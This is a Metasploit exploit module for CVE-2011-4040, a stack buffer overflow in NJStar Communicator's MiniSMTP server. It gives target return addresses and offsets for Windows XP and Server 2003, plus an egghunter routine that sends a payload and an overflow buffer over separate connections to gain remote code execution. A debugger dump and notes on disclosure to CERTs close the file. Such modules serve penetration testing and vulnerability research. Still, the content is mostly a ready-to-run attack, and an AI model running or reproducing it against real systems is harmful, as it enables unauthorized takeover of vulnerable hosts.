## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'NJStar Communicator 3.00 MiniSMTP Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow vulnerability in NJStar Communicator Version 3.00 MiniSMTP server. The MiniSMTP application can be seen in multiple NJStar products, and will continue to run in the background even if the software is already shutdown. According to the vendor's testimonials, NJStar software is also used by well known companies such as Siemens, NEC, Google, Yahoo, eBay; government agencies such as the FBI, Department of Justice (HK); as well as a long list of universities such as Yale, Harvard, University of Tokyo, etc. }, 'License' => MSF_LICENSE, 'Author' => [ 'Dillon Beresford', # Original discovery and MSF Module. ], 'References' => [ [ 'OSVDB', '76728' ], [ 'CVE', '2011-4040' ], [ 'URL', 'http://www.njstar.com/cms/njstar-communicator' ], [ 'EDB', '18057' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00", 'StackAdjustment' => -1500, }, 'Targets' => [ [ 'Windows XP SP2/SP3', { 'Ret' => 0x77c35459, # PUSH ESP; RETN (MSVCRT.dll) 'Offset' => 247, } ], [ # Can't test patch level on this one, because you can't # even update Win2k3 SP0 anymore from Windows Update 'Windows Server 2003 SP0', { 'Ret' => 0x77d20738, # JMP ESP (USER32.dll) 'Offset' => 247, } ], [ 'Windows Server 2003 SP1/SP2', { 'Ret' => 0x77BE2265, # PUSH ESP; RETN (MSVCRT.dll) 'Offset' => 247, } ] ], 'Privileged' => false, 'DisclosureDate' => 'Oct 31 2011', 'DefaultTarget' => 0)) register_options([Opt::RPORT(25)], self.class) end def check connect # We get a response like: "220 [host-name] Service Ready" # But we don't really care about this one res = sock.get_once(-1, 5) vprint_status("Banner: #{res.to_s.chop}") sock.puts("HELP\r\n") # But the HELP response will tell us if this is a NJStar SMTP or not res = sock.get_once(-1, 5) vprint_status("HELP Response: #{res.to_s.chop}") disconnect # I can only flag it as "Detected" because it doesn't return a version if res =~ /Windows E-mail Server From NJStar Software/i return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit eggoptions = { :checksum => true, :eggtag => "w00t" } hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions) buffer = rand_text(target['Offset']) buffer << [target.ret].pack('V') buffer << hunter buffer << make_nops(4) # Just some debugging output so we can see lengths and byte size of each of our buffer. vprint_status("egg: %u bytes: \n" % egg.length + Rex::Text.to_hex_dump(egg)) vprint_status("hunter: %u bytes: \n" % hunter.length + Rex::Text.to_hex_dump(hunter)) vprint_status("buffer: %u bytes:\n" % buffer.length + Rex::Text.to_hex_dump(buffer)) print_status("Trying target #{target.name}...") # har har har you get trick no treat... # we dont have very much space so we # send our egg in a seperate connection connect print_status("Sending the egg...") sock.put(egg) # I think you betta call, ghostbusters... # now we send our evil buffer along with the # egg hunter, we are doing multiple connections # to solve the issue with limited stack space. # thanks to bannedit for advice on threads and # making multiple connections to get around # stack space constraints. :) connect print_status("Sending our buffer containing the egg hunter...") sock.put(buffer) handler disconnect end end =begin Dillon Beresford https://twitter.com/#!/D1N NJStar Communicator Version: 3.00 and prior Build: 11818 and prior Tested minismtp version: 1.30.0.60218 Shouts to bannedit, sinn3r, rick2600, tmanning, corelanc0d3r, jcran, manils, d0tslash, mublix, halsten, and everyone at AHA! No response as of 10/31/11 from AUSCERT or the software vendor. CNCERT and USCERT responded on 10/30/11 and 10/31/11, CNCERT said in an email they needed to see if the vulnerability is remotely exploitable and needed more verification. I sent a proof of concept exploit in python with remote code execution. So, here is the proof that the bug is, in fact, remotely exploitable. WIN! System DLLs are used for target.ret because minismtp.exe is the only NJStar component in memory, and its base starts with a 0x00, that's no good. However, if your target machine started minismtp from the Windows start menu (Start -> All Programs -> NJStar Communicator -> NJStar MiniSmtp), it'd actually load up more DLLs. And one of them -- MSVCR100.dll -- is ideal enough to use (No rebase, starts with a high address, but there is an ASLR flag). eax=00000000 ebx=00417bf8 ecx=00002745 edx=00000000 esi=008a3e50 edi=008a3d80 eip=42424242 esp=00ccff70 ebp=7c8097d0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 42424242 ?? ??? 0:003> !exchain image00400000+bbc4 (0040bbc4) 00ccff00: 41414141 Invalid exception stack at 41414141 0:003> d esp 00ccff70 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 00ccff80 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 00ccff90 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 00ccffa0 44 44 44 44 00 ff cc 00-c4 bb 40 00 20 23 41 00 DDDD......@. #A. 00ccffb0 00 00 00 00 ec ff cc 00-29 b7 80 7c b8 3d 8a 00 ........)..|.=.. 00ccffc0 00 00 00 00 00 00 00 00-b8 3d 8a 00 00 c0 fd 7f .........=...... 00ccffd0 00 d6 e3 89 c0 ff cc 00-98 08 99 89 ff ff ff ff ................ 00ccffe0 d8 9a 83 7c 30 b7 80 7c-00 00 00 00 00 00 00 00 ...|0..|........ =end